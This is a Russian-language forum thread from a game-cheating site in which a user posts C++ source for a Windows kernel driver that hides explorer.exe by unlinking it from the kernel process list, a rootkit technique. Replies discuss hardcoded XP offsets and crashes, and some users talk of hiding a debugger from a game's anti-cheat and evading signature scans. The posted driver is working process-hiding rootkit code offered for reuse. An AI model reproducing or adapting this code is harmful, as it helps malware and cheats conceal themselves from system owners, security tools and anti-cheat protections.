Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Ответ
 
Опции темы
Старый 16.04.2015, 19:09   #1
 Пехотинец
Аватар для zZkamedosZz
 
zZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе цену
Регистрация: 17.01.2014
Сообщений: 67
Популярность: 4064
Сказал(а) спасибо: 145
Поблагодарили 138 раз(а) в 101 сообщениях
Отправить сообщение для zZkamedosZz с помощью Skype™
 
По умолчанию Скрытие процесса на С++

Код:
typedef unsigned long DWORD;
typedef DWORD* PDWORD;

VOID unload(PDRIVER_OBJECT pDriverObject) {
DbgPrint("[-] Oh no :(\n");
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath) {
PEPROCESS currentProcess;
PEPROCESS nextProcess;
PLIST_ENTRY listProcess;

pDriverObject->DriverUnload = unload;
DbgPrint("[+] The devil is in your kernel!\n");

currentProcess = IoGetCurrentProcess();
nextProcess = currentProcess;

do {
DbgPrint("- %s\n", (PUCHAR)((PUCHAR)nextProcess + 0x174)); // +0x174 ImageFileName : [16] UChar
listProcess = (PLIST_ENTRY)((PUCHAR)nextProcess + 0x88); // +0x088 ActiveProcessLinks : _LIST_ENTRY

if (strcmp((PUCHAR)((PUCHAR)nextProcess + 0x174), "explorer.exe") == 0) {
// +0x000 Flink
// +0x004 Blink
// => Flink + 1 = Blink of the next member
*((PDWORD) listProcess->Flink + 1) = (DWORD) listProcess->Blink;
*((PDWORD) listProcess->Blink) = (DWORD) listProcess->Flink; // Blink = Flink of the previous member

DbgPrint("explorer.exe is now like a ninja");
}

nextProcess = (PEPROCESS) listProcess->Flink;
nextProcess = (PEPROCESS)((PUCHAR)nextProcess - 0x88); // ActiveProcessLinks->Flink jump on "ActiveProcessLinks" in the next process
} while (nextProcess != currentProcess);

return STATUS_SUCCESS;
}
На данном примере показано как скрыть процесс: explorer.exe
________________
Не можешь жить, займись чем-нибудь другим.
  Ответить с цитированием
Пользователь сказал cпасибо:
SkaterSPB (23.03.2016)
Старый 17.04.2015, 17:45   #2
 Фельдмаршал
Аватар для Dimedrol1536
 
Dimedrol1536 сломал счётчик популярности :(Dimedrol1536 сломал счётчик популярности :(Dimedrol1536 сломал счётчик популярности :(Dimedrol1536 сломал счётчик популярности :(Dimedrol1536 сломал счётчик популярности :(Dimedrol1536 сломал счётчик популярности :(Dimedrol1536 сломал счётчик популярности :(Dimedrol1536 сломал счётчик популярности :(Dimedrol1536 сломал счётчик популярности :(Dimedrol1536 сломал счётчик популярности :(Dimedrol1536 сломал счётчик популярности :(
Регистрация: 22.02.2011
Сообщений: 949
Популярность: 34698
Сказал(а) спасибо: 939
Поблагодарили 2,534 раз(а) в 911 сообщениях
Отправить сообщение для Dimedrol1536 с помощью ICQ Отправить сообщение для Dimedrol1536 с помощью Skype™
 
По умолчанию Re: Скрытие процесса на С++

Цитата:
nextProcess + 0x174

Это что?
  Ответить с цитированием
Старый 17.04.2015, 23:04   #3
 Пехотинец
Аватар для zZkamedosZz
 
zZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе ценуzZkamedosZz знает себе цену
Регистрация: 17.01.2014
Сообщений: 67
Популярность: 4064
Сказал(а) спасибо: 145
Поблагодарили 138 раз(а) в 101 сообщениях
Отправить сообщение для zZkamedosZz с помощью Skype™
 
По умолчанию Re: Скрытие процесса на С++

Цитата:
Сообщение от Dimedrol1536Посмотреть сообщение
Это что?

это сдвиг байтовый

эти значения статичны и менять их не нужно
________________
Не можешь жить, займись чем-нибудь другим.
  Ответить с цитированием
Старый 29.04.2015, 10:46   #4
 Старший сержант
Аватар для крайслер
 
крайслер сломал счётчик популярности :(крайслер сломал счётчик популярности :(крайслер сломал счётчик популярности :(крайслер сломал счётчик популярности :(крайслер сломал счётчик популярности :(крайслер сломал счётчик популярности :(крайслер сломал счётчик популярности :(крайслер сломал счётчик популярности :(крайслер сломал счётчик популярности :(крайслер сломал счётчик популярности :(крайслер сломал счётчик популярности :(
Регистрация: 04.02.2011
Сообщений: 198
Популярность: 12244
Сказал(а) спасибо: 453
Поблагодарили 435 раз(а) в 242 сообщениях
Отправить сообщение для крайслер с помощью Skype™
 
По умолчанию Re: Скрытие процесса на С++

-ни слова о том, что это "драйвер"....
-ни слова о том, что нужно DDK...
Цитата:
ntddk.h

-ни слова о том, что бы собрать этот код нужно настраивать MVS или использовать консоль WDK....

Цитата:
это сдвиг байтовый
эти значения статичны и менять их не нужно

Работать будет только на XP )) Для других ОС оффсеты будут другими...




ЗЫ: Иногда вызывает BSOD))
________________

-Отложи на послезавтра то что можешь сделать сегодня, и тогда у тебя появятся два свободных дня!
  Ответить с цитированием
3 пользователя(ей) сказали cпасибо:
mars2107 (08.07.2015), SkaterSPB (23.03.2016), zZkamedosZz (30.04.2015)
Старый 28.05.2015, 16:24   #5
 Разведчик
Аватар для csx: _or_75
 
csx: _or_75 у всех на слухуcsx: _or_75 у всех на слухуcsx: _or_75 у всех на слухуcsx: _or_75 у всех на слухуcsx: _or_75 у всех на слухуcsx: _or_75 у всех на слухуcsx: _or_75 у всех на слухуcsx: _or_75 у всех на слухуcsx: _or_75 у всех на слухуcsx: _or_75 у всех на слуху
Регистрация: 26.10.2012
Сообщений: 14
Популярность: 1354
Сказал(а) спасибо: 1
Поблагодарили 5 раз(а) в 2 сообщениях
 
По умолчанию Re: Скрытие процесса на С++

Цитата:
это сдвиг байтовый

сдвиг байтовый вот << 2, а это смещение(оффсет) -_-
  Ответить с цитированием
Старый 28.05.2015, 19:05   #6
Почетный Пользователь
 Сержант
Аватар для MembRupt
 
MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(MembRupt сломал счётчик популярности :(
Регистрация: 18.07.2013
Сообщений: 148
Популярность: 83981
Сказал(а) спасибо: 564
Поблагодарили 258 раз(а) в 195 сообщениях
 
По умолчанию Re: Скрытие процесса на С++

Цитата:
Сообщение от csx: _or_75Посмотреть сообщение
сдвиг байтовый вот << 2

Это сдвиг битовый, а не байтовый

Цитата:
Сообщение от csx: _or_75Посмотреть сообщение
а это смещение(оффсет)

Смещение или величина сдвига - нет разницы
  Ответить с цитированием
Старый 06.01.2016, 04:20   #7
 Разведчик
Аватар для opower
 
opower скоро будет известенopower скоро будет известенopower скоро будет известенopower скоро будет известенopower скоро будет известен
Регистрация: 19.06.2015
Сообщений: 4
Популярность: 453
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Отправить сообщение для opower с помощью Skype™
 
По умолчанию Re: Скрытие процесса на С++

То есть можно скрыть любой процесс? Нужно будет попробовать скрыть отладчик и запустить одну известную игрушку, которая не даёт нормально память свою прочесть...
  Ответить с цитированием
Старый 22.03.2016, 11:46   #8
 Разведчик
Аватар для DaVinchi
 
DaVinchi никому не известный тип
Регистрация: 16.12.2008
Сообщений: 4
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: Скрытие процесса на С++

Цитата:
Сообщение от opowerПосмотреть сообщение
То есть можно скрыть любой процесс? Нужно будет попробовать скрыть отладчик и запустить одну известную игрушку, которая не даёт нормально память свою прочесть...

А ты уверен, что сможешь приатачиться к процессу? Можно взять модифицированную оллю с определенными плагинами и пробовать ее запускать, некоторые пагины прячут отладчик.
Ну и еще одна ложка дегтя: Некоторые АЧ сканят на наличие сигнатур. А тут всего навсего сокрытие процесса.
  Ответить с цитированием
Старый 23.03.2016, 18:58   #9
 Сержант
Аватар для SkaterSPB
 
SkaterSPB на правильном пути
Регистрация: 27.11.2009
Сообщений: 126
Популярность: 41
Сказал(а) спасибо: 107
Поблагодарили 68 раз(а) в 43 сообщениях
Отправить сообщение для SkaterSPB с помощью ICQ Отправить сообщение для SkaterSPB с помощью Skype™
 
По умолчанию Re: Скрытие процесса на С++

Спасибо бро!
Очень ценно
Цитата:
explorer.exe is now like a ninja

________________
Создание и продвижение сайтов по самым скромным ценам в рунете тут!

Последний раз редактировалось SkaterSPB; 23.03.2016 в 19:24.
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Помогите!] скрытие процесса sanaka2011 Вопросы, просьбы, обсуждение 0 21.11.2011 18:23

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 03:39.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net